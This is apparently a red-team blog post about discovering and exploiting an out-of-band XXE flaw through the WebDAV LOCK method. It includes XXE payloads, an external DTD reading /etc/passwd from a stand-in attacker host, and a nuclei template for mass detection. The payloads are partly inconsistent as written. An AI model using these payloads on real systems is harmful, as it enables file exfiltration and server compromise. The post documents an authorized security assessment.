Exploiting Out-Of-Band XXE on Wildfire

Hi Everyone

In this blog ,i will cover one of the interesting vulnerability Out-Of-Band XXE via HTTP LOCK Method that i found during the Red Teaming Engagement in a Product Based Company and exploited the vulnerability at a Large Scale.

Kudos to all my team members Herane Malhotra, Lokendra Singh Rawat, Prashant Kumar who worked along during the assessment.

How it all started ?

Under the Red Teaming Activty there are many category such as Cyber Threat Intelligence, Internal Adversary Simulation, External Adversary Simulation, Social Engineering,Deep Web / Dark Web Exposure, OSINT, Phishing etc,.

This vulnerability was found during the External Adversary Simulation Category, where we used to test for Web Application and Network Assets to find Critical Server Side bugs so that we can exfiltrate data to get an inital foothold.

Let’s Dive Deep into it!

  • There were hundreds of login pages under the web application pentesting part and credentials that was obtained from Deep / Dark Web Exposure were not working :(

  • Found many login pages which was developed by the company to their customers to handle the data between both the parties.

Step 1: Intercept the login request using client side proxy like Burp Suite as shown below.

Step 2: Started to check for different HTTP Methods enabled in the application by using OPTIONS

From the above image , it can be observed that there is no reaction from the application , got the same response we see from GET method.

Step 3: When i removed login.jsp and supplied a notexisting value (test) it showed up the different HTTP Methods that are allowed in the application.

Note : The allowed methods are OPTIONS, MKCOL, PUT, LOCK.

  • There is an existing research paper about WebDav by Mikhail Egorov

Reference : What should a hacker know about WebDav

  • If the application has PROPPATCH,PROPFIND,LOCK HTTP methods enabled, it will accept XML as input.

Step 4: Tried PUT method and it returned 403 forbidden error, but when i tried LOCK method it showed up some XML data as output as shown below.

  • It was also mentioned that OOB-XXE will work with any methods that supports XML input.

Step 5: So i started to test for OOB-XXE with basic payload as shown below.

<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://youripaddress.com"> %xxe; ]>

Note: We got both the HTTP and DNS hit from the server.

Step 6: Since it is an Out-Of-Band XXE , follow the below steps to set-up the environment.

Note : We need to host the DTD file on a web server. Here, we used a simple web server on the cloud and pointed the domain yourdomainname.com to the server’s public IP address and hosted the file exploited.dtd on the server.

Contents of exploited.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ext "<!ENTITY exfil SYSTEM 'file:///%file;'>">

The request body send to the vulnerable URL:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">

Step 7: Now the fun begins , we were able to exfiltrate and read different directory files and sensitive information such as backup file, configuration file, ssh keys and access logs etc,.

Exploiting the Flaw in Wildfire

  • Since there is a huge number of subdomains , we wrote a nuclei template to detect this OOB-XXE as shown below.
id: XXE on XXXX Login

  name: XML External Entity-XXXX
  author: dhiyaneshDk
  severity: high

  - raw: 
      - |
        LOCK /xxxx/test HTTP/1.1
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Cache-Control: max-age=0
        Content-Length: 178
        <?xml version="1.0"?>
        <!DOCTYPE foo [
        <!ELEMENT foo ANY>
        <!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">

    matchers-condition: and
      - type: status
          - 500
      - type: word
          - '/root:x:0:0:root:/root:/bin/bash'
        part: body

  • There were around 36+ Instance which was Vulnerable to XXE and cross checked all the instance manually.


Impact :

The XXE flaw can allow an attacker to turn the XML parser into a proxy which allows local and remote content to be served on request. It allows an attacker to:

  • Read files on the application server
  • Interact with any back-end or external systems that the application itself can access
  • View configuration files present in the system.

Refernece :

Apache Jacrabbit WebDav XXE
Finding and exploiting blind XXE vulnerabilities
Advanced XXE Exploitation
A Deep Dive into XXE Injection
Milton Webdav XXE Injection

Thanks a lot for reading :)

Related Posts

OAWSP Exam Review

Breaching AWS & Offensive AWS Security Professional

Subfinder Unleashed

Maximizing Subdomain Discovery with SecurityTrails

Patch Diff

Reviewing Code Changes

No One Talks About !

Gratefulness, Imposter Syndrome & Burnout

AWS Misconfigurations

Deep Dive into AWS Cloud Security


Red Teamer Perspective


Social Engineering Tactics to Convince Victims


Set-up and run a Phishing Campaign using GoPhish

Hopper Disassembler

Bypassing Jail Break Detection

How I was able to revoke your Instagram 2FA

Bypassing Rate Limit using IP Rotation